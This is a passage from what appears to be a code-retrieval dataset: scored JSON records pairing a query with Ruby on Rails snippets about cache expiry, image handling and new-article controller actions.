\"#{self.id}_#{self.po__name}\"))\r\nelse\r\n src = self.po__path\r\n if !File.exists?(src) # bad name\r\n Dir[File.join(FILES_DEST_PO, \"#{self.id}_*\")].each{|f| File.rename(f, src); break}\r\n end\r\nend\r\n@po_cache = {}\r\nend", "title": "" }, { "docid": "e47a42972b0dc9f9233482752dc4f32d", "score": "0.546578", "text": "def after_create\n return unless respond_to? :expire_fragment #expire_fragment is undefined if controller is nil\n\n expire_fragment(:controller => 'main', :action => 'index', :part => 'photos')\n expire_fragment(:controller => 'users', :action => 'photos', :id => @photo.user.id, :part => \"photos_new_#{@photo.user_id}\")\n expire_fragment(:controller => 'main', :action => 'index', :part => 'photo_count')\n if (!@photo.trip_report.nil? && @photo.trip_report.photos.first == @photo) || (!@photo.album.nil? && @photo.album.photos.first == @photo)\n expire_fragment(:controller => 'main', :action => 'index', :part => 'trips_and_albums')\n end\n\n after_save()\n end", "title": "" }, { "docid": "97550ecf31735f52692fb08fbf0fb239", "score": "0.54605794", "text": "def after_save(record)\n #delete cache for PipingClass\n Rails.cache.delete(\"#{record.class.name}_all_cache\")\n Rails.cache.delete(\"#{record.class.name}_sext_cache\")\n end", "title": "" }, { "docid": "6930f3001fec70dcc126d8f3f2edaa6f", "score": "0.5424682", "text": "def previous_images\n # Incase of park_images action; no product object is initialized; till then return an empty [] \n if !@product.nil? \n images = @product.cloudinary_images # copy the old images \n else\n images = !Rails.cache.read(\"images\").nil? ? Rails.cache.read(\"images\") : []\n end\n end", "title": "" }, { "docid": "eeebb37502ab7328768862c0a8f8f800", "score": "0.53983206", "text": "def recreate_image\n self.orig_file1_id = nil\n self.orig_file2_id = nil\n self.save\n end", "title": "" }, { "docid": "12a7564fb2e6d52986d2972b4135a7c4", "score": "0.5390563", "text": "def cache_images!\n if thumbnails.empty?\n update_attribute(:default_thumbnail_id, nil)\n update_attribute(:default_image_id, nil)\n else\n update_attribute(:default_thumbnail_id, thumbnails.first.id)\n update_attribute(:default_image_id, thumbnails.first.twin.id)\n end\n end", "title": "" }, { "docid": "274b80b4500b342f513b742cd134534a", "score": "0.53808767", "text": "def touch_caches_as_needed\n if changed.include? \"active\"\n role_assignments.each { |ra| ra.touch }\n group_memberships.each { |gm| gm.touch }\n organizations.each { |org| org.touch }\n end\n end", "title": "" }, { "docid": "69ba7a272e411a88d7338a701231500c", "score": "0.537323", "text": "def update_resource(resource, params)\n original_crosswalk_setting = resource.crosswalk_enabled\n saved = super(resource, params)\n if saved && resource.is_portfolio? && (resource.crosswalk_enabled != original_crosswalk_setting)\n Measure.by_user(current_user).each { |m| m.clear_cached_js }\n end\n return saved\n end", "title": "" }, { "docid": "69ba7a272e411a88d7338a701231500c", "score": "0.537323", "text": "def update_resource(resource, params)\n original_crosswalk_setting = resource.crosswalk_enabled\n saved = super(resource, params)\n if saved && resource.is_portfolio? && (resource.crosswalk_enabled != original_crosswalk_setting)\n Measure.by_user(current_user).each { |m| m.clear_cached_js }\n end\n return saved\n end", "title": "" }, { "docid": "b9a8e0ab68d95c78bdf3889592fed0ea", "score": "0.53509784", "text": "def update_parallax\n if @parallax_name != @map.parallax_name\n @parallax_name = @map.parallax_name\n @parallax.bitmap.dispose if @parallax.bitmap\n @parallax.bitmap = Cache.parallax(@parallax_name).clone\n end\n \n # not sure why I need to check this now\n unless @parallax.bitmap.disposed? \n @parallax.ox = @map.parallax_ox(@parallax.bitmap)\n @parallax.oy = @map.parallax_oy(@parallax.bitmap)\n end\n end", "title": "" }, { "docid": "fbf88c743648e029ef2059d46f18d709", "score": "0.533502", "text": "def after_save\n self.cache_record(:force => true) unless self.class.cache_records\n self.expire_record\n end", "title": "" }, { "docid": "7f375dc9491c0cadc253a6f70d3c7d91", "score": "0.53325576", "text": "def update_bitmap\n @effectus_old_name = @picture.name\n if @effectus_old_name.empty?\n self.bitmap = nil\n else\n self.bitmap = Cache.picture(@effectus_old_name)\n @effectus_center_x = bitmap.width / 2\n @effectus_center_y = bitmap.height / 2\n end\n end", "title": "" }, { "docid": "12618b6cb112630b9fb2542acfaebd5a", "score": "0.5318705", "text": "def expire_cache_fragments\n Supplier.all.each do |sup|\n Rails.cache.delete(\"supplier_#{sup.id}_categories_sorted\")\n Rails.cache.delete(\"#{sup.id}_select_tag\")\n Rails.cache.delete(\"sorted_fully_qualified_categories\")\n end\n end", "title": "" }, { "docid": "89a1bf79ecf86cd64938bca701860ba4", "score": "0.5266763", "text": "def delete_cache_and_img\n # -- out with the old -- #\n\n finger = self.fingerprint_changed? ? self.fingerprint_was : self.fingerprint\n imgfinger = self.image_fingerprint_changed? ? self.image_fingerprint_was : self.image_fingerprint\n\n if finger && imgfinger\n # -- delete our old cache -- #\n resp = Rails.cache.delete(\"img:\"+[self.asset.id,imgfinger,self.output.code].join(\":\"))\n\n # -- delete our AssetOutput -- #\n path = self.asset.image.path(self)\n\n if path\n # this path could have our current values in it. make sure we've\n # got old fingerprints\n path = path.gsub(self.asset.image_fingerprint,imgfinger).gsub(self.fingerprint,finger)\n\n self.asset.image.delete_path(path)\n end\n end\n\n true\n end", "title": "" }, { "docid": "edbb4ca38ce7da1a70abf3855ca6bad2", "score": "0.5265467", "text": "def cached_association; end", "title": "" }, { "docid": "edbb4ca38ce7da1a70abf3855ca6bad2", "score": "0.5265467", "text": "def cached_association; end", "title": "" }, { "docid": "e7dd3142341eea91b92b4018a8e78f95", "score": "0.52118576", "text": "def profile_image\n #self.profile_image_id ? Image.find(self.profile_image_id).file.square : nil\n Rails.cache.fetch([self, \"profile_image\"]) {self.profile_image_id ? Image.find(self.profile_image_id).file.square : nil}\n \n end", "title": "" }, { "docid": "27ce8a7127aa1bc3099d4e7d8aee9dd7", "score": "0.52039284", "text": "def edit_image # :prefetch: :norobots:\n pass_query_params\n @image = Image.find(params[:id])\n @licenses = License.current_names_and_ids(@image.license)\n if !check_permission!(@image.user_id)\n redirect_to(:action => 'show_image', :id => @image,\n :params => query_params)\n elsif request.method == :post\n @image.attributes = params[:image]\n xargs = {}\n xargs[:set_date] = @image.when if @image.when_changed?\n xargs[:set_notes] = @image.notes if @image.notes_changed?\n xargs[:set_copyright_holder] = @image.copyright_holder if @image.copyright_holder_changed?\n xargs[:set_license] = @image.license if @image.license_id_changed?\n if xargs.empty?\n flash_notice(:runtime_no_changes.t)\n elsif !@image.save\n flash_object_errors(@image)\n else\n xargs[:id] = @image\n Transaction.put_image(xargs)\n @image.log_update\n flash_notice :runtime_image_edit_success.t(:id => @image.id)\n redirect_to(:action => 'show_image', :id => @image.id,\n :params => query_params)\n end\n end\n end", "title": "" }, { "docid": "a874449021e792d1208e6151413ff835", "score": "0.52022207", "text": "def cache_key\n new_record = @new_record\n @new_record = false if @simply_versioned_version_model\n super\n ensure\n @new_record = new_record if @simply_versioned_version_model\n end", "title": "" }, { "docid": "76842e44fb0f48656f495afc81f7994b", "score": "0.52012926", "text": "def refresh\n begin\n self.load_product\n self.refreshed_at = Time.now \n self.save \n rescue => exception\n # Failed to refresh \n end\n end", "title": "" }, { "docid": "cc21613d110269034f3360572bcc3404", "score": "0.5192988", "text": "def clear_photo\n self.avatar = nil if delete_avatar? && !avatar.dirty?\nend", "title": "" }, { "docid": "cc21613d110269034f3360572bcc3404", "score": "0.5192988", "text": "def clear_photo\n self.avatar = nil if delete_avatar? && !avatar.dirty?\nend", "title": "" }, { "docid": "c9d153b4c32de7fb223471ca1d7d167d", "score": "0.5184739", "text": "def active_attach_cached\n edit_phase ? edit_attach_cached : attach_cached\n end", "title": "" }, { "docid": "b555b6603b939d4ad105b7ba719ed2e6", "score": "0.51836723", "text": "def delete_cache_and_img\n # -- out with the old -- #\n \n finger = self.fingerprint_changed? ? self.fingerprint_was : self.fingerprint\n imgfinger = self.image_fingerprint_changed? ? self.image_fingerprint_was : self.image_fingerprint\n \n if finger && imgfinger\n # -- delete our old cache -- #\n Rails.logger.debug(\"deleting cache at #{\"img:\"+[self.asset.id,imgfinger,self.output.code].join(\":\")}\")\n resp = Rails.cache.delete(\"img:\"+[self.asset.id,imgfinger,self.output.code].join(\":\"))\n Rails.logger.debug(\"cache.delete got #{resp}\")\n \n # -- delete our AssetOutput -- #\n path = self.asset.image.path(self)\n if path\n # this path could have our current values in it. make sure we've \n # got old fingerprints\n path = path.gsub(self.asset.image_fingerprint,imgfinger).gsub(self.fingerprint,finger)\n\n Rails.logger.debug(\"Deleting AssetOutput image at #{path}\")\n self.asset.image.delete_path(path)\n end\n end\n \n true\n end", "title": "" }, { "docid": "8de4f32d31d94f282b0c025bc827f5ad", "score": "0.5163013", "text": "def candidate_images_cached\n Rails.cache.fetch(\"#{obfuscated_stock_reference}\", expires_in: 20.minutes) do\n candidate_images\n end\n end", "title": "" }, { "docid": "4a00642061fe86618962e1c4e2c7fc7e", "score": "0.5158977", "text": "def regenerate_styles!\n self.photo.reprocess! \n self.processing = false \n self.save(:validate => false) #save(false)\n end", "title": "" }, { "docid": "63f22116997084919fa6fdc93e532808", "score": "0.5154846", "text": "def editable_product_photo(product)\r\n product.local_photos.select { |photo| product_photo_id_in_session? photo.id }.first\r\n end", "title": "" }, { "docid": "d20b2623a2542553dff5346fe82f8e7b", "score": "0.51537085", "text": "def refresh\n @_association_pks = nil\n super\n end", "title": "" }, { "docid": "1431e2ef90eb831e5a42465e497853f1", "score": "0.51520133", "text": "def update_resource_collection_card\n return unless resource.present?\n\n card = resource.try(:parent_collection_card)\n return unless card.present? && card.persisted?\n\n card.touch\n end", "title": "" }, { "docid": "96e6ee8a9eceeaec307c2579ff5260da", "score": "0.51495", "text": "def update_product_cache_stock\n\t\t\tself.product.update_cache_stock if self.product.present?\n\t\tend", "title": "" }, { "docid": "96e6ee8a9eceeaec307c2579ff5260da", "score": "0.51495", "text": "def update_product_cache_stock\n\t\t\tself.product.update_cache_stock if self.product.present?\n\t\tend", "title": "" }, { "docid": "cd20efc91a9c15f9578e48f4c92dd553", "score": "0.51424706", "text": "def create\n @owner = Owner.new(owner_params)\n @owner.user = current_user\n pictures = Rails.cache.read(\"images\")\n if pictures\n pictures.each do |picture|\n case picture[:image_type]\n \n when \"profile_pic\"\n @owner.profile_picture.push(picture)\n when \"documents\"\n @owner.id_proof_documents.push(picture)\n else\n \"Why I see this??\"\n end\n end\n end \n\n #This is a quck fix for copy profile\n @owner = copy_images(@owner)\n\n Rails.cache.delete('images')\n \n\n respond_to do |format|\n if @owner.save\n format.html { redirect_to @owner, notice: 'Owner was successfully created.' }\n format.json { render :show, status: :created, location: @owner }\n else\n format.html { render :new }\n format.json { render json: @owner.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "861dacdc4c9be0cb35f11ac2f3544cb2", "score": "0.5135325", "text": "def create\n respond_to do |format|\n @product = Product.new(product_params)\n @product.user = current_user\n #@product.image_id = get_image_id\n @product.cloudinary_images = Rails.cache.read(\"images\") \n \n #Clear cache once it is used \n Rails.cache.delete('images')\n \n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "567b0e421d6af6d70b82d28d83eaafa2", "score": "0.51293606", "text": "def save\n super\n # update self in the cache\n self.class.cache[self.id] = self\n end", "title": "" }, { "docid": "5b5f7999f5aa650fc86dd6fa1e935ea3", "score": "0.5125682", "text": "def touch\n super\n self.rewrite_cache\n end", "title": "" }, { "docid": "7a1510314653c9cb62236876e5529367", "score": "0.5117304", "text": "def after_destroy(resource)\n sweep_asset(resource)\n end", "title": "" }, { "docid": "0d87d2c8354c315a043bd02ff38bc148", "score": "0.5116284", "text": "def update\n if params[\"product\"][\"image\"].present?\n response = Cloudinary::Uploader.upload(params[\"product\"][\"image\"], :transformation => [\n {:width => 500, :height => 500, :crop => :limit},\n ],\n :eager => [\n {:width => 75, :height => 75,\n :crop => :thumb, :format => 'png'},\n ])\n @product.image = response[\"url\"]\n @product.thumb = response[\"eager\"][0][\"url\"]\n \n else\n @product.image = @product.image\n @product.thumb = @product.thumb\n end\n\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b8b0ad608260e10e144ac7cd75efb34c", "score": "0.5116157", "text": "def recreate_delayed_versions!\n self.attachment.cache_stored_file!\n self.attachment.recreate_versions!\n # self.attachment.preload_image_to_cdn('converted_pdf')\n self.update_attributes(attachment_processing: false)\n end", "title": "" }, { "docid": "0eb60e41ceebd736edfd8e9f8545ff61", "score": "0.5107607", "text": "def after_destroy(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "0eb60e41ceebd736edfd8e9f8545ff61", "score": "0.5107607", "text": "def after_destroy(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "0eb60e41ceebd736edfd8e9f8545ff61", "score": "0.5107607", "text": "def after_destroy(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "0eb60e41ceebd736edfd8e9f8545ff61", "score": "0.5107607", "text": "def after_destroy(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "0eb60e41ceebd736edfd8e9f8545ff61", "score": "0.5107607", "text": "def after_destroy(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "0eb60e41ceebd736edfd8e9f8545ff61", "score": "0.5107607", "text": "def after_destroy(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "66a7e0048a70f2d57f00d758293b1598", "score": "0.51051974", "text": "def after_swfupload(photo)\n expire_cache_for(taggable) \n end", "title": "" }, { "docid": "12c01a2a3a558365a95fde3e96073bc5", "score": "0.5104047", "text": "def after_destroy(image)\n update_image_cache(image)\n end", "title": "" }, { "docid": "a8d30747d730f482197a4dd620d2cecd", "score": "0.5085085", "text": "def update_cache_chain\n logger.debug \"DB ********** Touching ItemElem #{id} ********** \"\n self.touch\n self.element.try(:update_cache_chain)\n end", "title": "" }, { "docid": "e248b4ff52ee433971ef6a2f06dd2008", "score": "0.5083925", "text": "def update_images\n return if storage.temp_file.blank?\n remove_images\n populate_attributes\n end", "title": "" }, { "docid": "cf27a21d8822d9385562fc70168ced5d", "score": "0.50836253", "text": "def touch_or_destroy\n puts \" touch_or_destroy #{self.class.name} #{id}\"\n if cache_exist?\n children.each(&:touch_or_destroy)\n # if there are children, this will be touched automatically once they are.\n touch(:no_request => true) unless children.any?\n else\n destroy # will also destroy all children because of :dependent => :destroy\n end\n end", "title": "" }, { "docid": "96e9b720aebb513ebf3af5e47477a003", "score": "0.5075468", "text": "def update_cache_chain\n logger.debug \"DB ********** Touching Category #{title} ********** \"\n self.touch\n end", "title": "" }, { "docid": "23e0d0ca6d0c417e93801c3d08e81225", "score": "0.5074007", "text": "def update_cache_chain\n unless self.marked_for_destruction?\n logger.debug \"DB ********** Touching DynamicPage #{id} ********** \"\n self.touch\n end\n if node\n logger.debug \"DB ********** Touching Node #{node.title} ********** \"\n self.node.touch\n end\n end", "title": "" }, { "docid": "0bb978eb9c282f1c4990dcb769c5b1b3", "score": "0.5073356", "text": "def update_cache_chain\n logger.debug \"DB ********** Touching Element #{id} ********** \"\n self.touch\n self.dynamic_page.try(:update_cache_chain)\n end", "title": "" }, { "docid": "5e6173f24ad84399196285e687dfd37c", "score": "0.5069856", "text": "def attach_cached\n super unless file_reference.present?\n end", "title": "" }, { "docid": "c94dc2cacd8255f83d4819a66e5bc468", "score": "0.5068646", "text": "def update\n article_ids = params[:product].delete(:article_ids)\n respond_to do |format|\n if @product.update(product_params)\n if !article_ids.nil?\n # set null for pre-group\n ProductsArticle.where.not(article_id: article_ids).where(product_id: @product.id).destroy_all\n\n Article.where(id: article_ids).each do |t|\n ProductsArticle.where(article_id: t.id, product_id: @product.id).first_or_create\n end\n end\n\n if @product.cropping?\n if params[:product][:top]\n @product.top_cover.reprocess!\n else\n @product.cover.reprocess!\n end\n end\n\n if params[:product][:top_cover].present?\n format.html {\n render :action => \"top_cover_crop\"\n }\n elsif params[:product][:cover].present?\n format.html {\n render :action => \"crop\"\n } \n else\n format.html { redirect_to [:admin, @product], notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n end\n\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cabb9f66b7dc346d57e685bbd5ce26c0", "score": "0.50680196", "text": "def update_cache\n self.update_attribute :resources_cache, self.resources\n end", "title": "" }, { "docid": "787154f4c72eb11e24d14c36c49f4c1d", "score": "0.50504345", "text": "def prepare_to_cache; end", "title": "" }, { "docid": "de00169d03b736107f94b431f5d469e6", "score": "0.5050021", "text": "def borra_cache_ejemplares\n Rails.cache.delete(\"br_#{params[:catalogo_id]}_#{params[:tipo_region]}_#{params[:region_id]}\") if Rails.cache.exist?(\"br_#{params[:catalogo_id]}_#{params[:tipo_region]}_#{params[:region_id]}\")\n end", "title": "" }, { "docid": "342b42dbd3a5e9ed48374a97b5ea3e1f", "score": "0.5049647", "text": "def cache!(*args)\n self.cache_id = parent_version.cache_id if parent_version\n\n super\n end", "title": "" }, { "docid": "1772e875ae30c8dca940af694dbaaa78", "score": "0.5042844", "text": "def flush_cache(useless_self)\n touch if persisted?\n end", "title": "" }, { "docid": "329fd1c6c42d76e853e418f17226b227", "score": "0.5040241", "text": "def clear_association_scope_cache; end", "title": "" }, { "docid": "329fd1c6c42d76e853e418f17226b227", "score": "0.5040241", "text": "def clear_association_scope_cache; end", "title": "" }, { "docid": "33510db30b7acb8e6cda982b1e1363ab", "score": "0.50397724", "text": "def save_additional_product_images\n return if self.skip_all_callbacks\n \n additional_product_images.each do |x| \n if x.should_destroy?\n x.destroy\n else\n x.save(false) \n end\n end\n end", "title": "" }, { "docid": "53a9e24db5006259f578d498e38f6d32", "score": "0.5036895", "text": "def update_product_cache_stock\n\t\t\tself.stock_check_details.each do |scd|\n scd.update_product_cache_stock\n end\n\t\tend", "title": "" }, { "docid": "aa2bf60a428a343ae35750fa84fb4a45", "score": "0.50352633", "text": "def cache\n self.class.store.store.set_resource(resource_key, id, self)\n end", "title": "" }, { "docid": "b32645a63aa5d3410d2f6138ffdabaf7", "score": "0.5031625", "text": "def borra_cache_especies\n Rails.cache.delete(\"br_#{params[:tipo_region]}_#{params[:region_id]}\") if Rails.cache.exist?(\"br_#{params[:tipo_region]}_#{params[:region_id]}\")\n end", "title": "" }, { "docid": "a489954069e54261ba72b6bc391ae6fe", "score": "0.5025042", "text": "def finalize\n return if !instance_variable_defined?(:@old)\n replace\n remove_instance_variable(:@old)\n _promote(action: :store) if cached?\n end", "title": "" }, { "docid": "e1ae89e0a826edd00a0c61c0e4c903a4", "score": "0.50246906", "text": "def cache_pricing!\n cache_pricing\n save!\n end", "title": "" }, { "docid": "c9708e60b44653cb7f70e4a71875b57e", "score": "0.50230706", "text": "def after_update(favor) \n expire_cache_for(favor) \n end", "title": "" }, { "docid": "cb78a63c7e766564ad91c1b3e38236c7", "score": "0.50186026", "text": "def after_create(item) \n expire_cache_for(item) \n end", "title": "" }, { "docid": "2da71db2f9e1147e37fa1da36b9e0479", "score": "0.50164354", "text": "def image_stock_process(src_image)\n # puts \"\"\n # puts \"ItemSide create image_stock\"\n size = part.viewport_size\n #puts \"src_img size:#{src_image.columns}x#{src_image.rows} viewport size=>#{size[:w]}x#{size[:h]}\"\n\n new_stock_image = if cropping?\n img = src_image.crop(crop_x.to_i, crop_y.to_i, crop_w.to_i, crop_h.to_i)\n clear_cropping\n img.resize!(size[:w], size[:h])\n img\n elsif assembly?\n img = if adjusted_picture_url\n src_image # src_image has been previously adjusted so no-op\n elsif portrait\n # coming from the original portrait, perform an auto-crop\n # similar to what we do in JCropper\n crop_box = part.cropilize\n img = src_image.resize(crop_box[:w], crop_box[:h])\n img.crop!(crop_box[:crop][:x], crop_box[:crop][:y], crop_box[:crop][:w], crop_box[:crop][:h])\n img.resize!(size[:w], size[:h])\n img\n else\n puts \" using No photo\"\n image_transparent(size[:w], size[:h])\n end\n #puts \" item_side stock_image=>#{img.columns}x#{img.rows}\"\n img\n else\n puts \"no-op\"\n src_image # no op\n # need to create a transparent image here somehow\n #image_transparent(size[:w], size[:h])\n end\n #puts \"item_side=>#{id} image_stock new image size #{new_stock_image.columns}x#{new_stock_image.rows}\"\n new_stock_image\n end", "title": "" }, { "docid": "7250c750b31e59bf862f9612201adeaa", "score": "0.5010448", "text": "def parent_will_be_saved! # :nodoc:\n proxy_targets_update_hash.clear\n\n MassiveRecord::ORM::Persistence::Operations.suppress do\n proxy_target.each do |record|\n if record.destroyed?\n proxy_targets_update_hash[record.database_id] = nil\n elsif record.new_record? || record.changed?\n record.save(:validate => false) unless record.in_the_middle_of_saving?\n proxy_targets_update_hash[record.database_id] = Base.coder.dump(record.attributes_db_raw_data_hash)\n end\n end\n\n to_be_destroyed.each do |record|\n targets_current_owner = record.send(metadata.inverse_of).proxy_target\n if targets_current_owner.nil? || targets_current_owner == proxy_owner\n record.destroy\n proxy_targets_update_hash[record.database_id] = nil\n end\n end\n to_be_destroyed.clear\n end\n end", "title": "" }, { "docid": "58645f7367b17ec8a7a0b9d659fc390c", "score": "0.50007284", "text": "def refresh_cache(opts={})\n atts = self.class.build_attributes_hash(self.source_record)\n\n opts[:without_protection] ||= true\n self.assign_attributes(atts, opts)\n\n self\n end", "title": "" }, { "docid": "fcc8f5298d55354e4bb5fc62edc63375", "score": "0.49999595", "text": "def get_cover_photo_and_set_cache\r\n cp = self.cover_photo\r\n set_cover_photo_cache(cp)\r\n cp\r\n end", "title": "" }, { "docid": "79ea9754c0f9dea18d61f080c4b9dff3", "score": "0.49972162", "text": "def finalize\n return if !instance_variable_defined?(:@old)\n replace\n remove_instance_variable(:@old)\n _promote(action: :store) if cached?\n end", "title": "" } ]
5f9079997c54f96eb3f92ba4b981cc0d
GET /articles/new GET /articles/new.json
[ { "docid": "faac268ad589b64a4bcb44896a2d97e6", "score": "0.0", "text": "def new\n @article = Article.new\n @user = User.find_by_id(session[:user_id])\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n \n # def uri?(attachment_url)\n # uri = URI.parse(attachment_url)\n # %w( http https ).include?(uri.scheme)\n # rescue URI::BadURIError\n # false\n # end\n # \n #\n end", "title": "" } ]
[ { "docid": "488a6f94ef82456398d02b5076307b3b", "score": "0.8152177", "text": "def new\n @article = Article.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "5ebf32456940c48e600a3b3de8c6c32b", "score": "0.8132972", "text": "def new\n\n @article = Article.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a4b349146acb1ad6600747fcd11f38d9", "score": "0.81198466", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "d1be4ce476c216ddba0f6c6ab6a59b37", "score": "0.80457", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @article }\n end\n end", "title": "" }, { "docid": "e8d62f84e8ee54101cb588de72a94314", "score": "0.78396213", "text": "def new\n @articleurl = Articleurl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @articleurl }\n end\n end", "title": "" }, { "docid": "338e1a4d2165225503b3c52a8ef67734", "score": "0.7836612", "text": "def new\n\t\tdeny_access_unless(admin? || editor?)\n @article = Article.new\n\t\t@article.published = false\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @article }\n end\n end", "title": "" }, { "docid": "b5f8f08279b31f575fdfcea4bc859cee", "score": "0.7677921", "text": "def new\n @article = current_user.articles.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "48940d9541ae1158ffba2cfad3ae2967", "score": "0.7625364", "text": "def new\n @events = Event.all\n @sources = Source.all\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "a0fc944bb2df67beb24d15a2f65036db", "score": "0.7612097", "text": "def new\n # Create new news\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "title": "" }, { "docid": "b07319ec09915764633db02e44945fe4", "score": "0.76079655", "text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "title": "" }, { "docid": "b07319ec09915764633db02e44945fe4", "score": "0.7607178", "text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "title": "" }, { "docid": "b07319ec09915764633db02e44945fe4", "score": "0.76062596", "text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "title": "" }, { "docid": "4f24f5280863711af3e6d6a1fcb3bd94", "score": "0.76006293", "text": "def new\n #@article = Article.where(:user_id => current_user.id).new\n @article = @user.articles.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "c7301abf3bc31a0c97e703af0d3eab40", "score": "0.75994605", "text": "def new\n @news = News.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "title": "" }, { 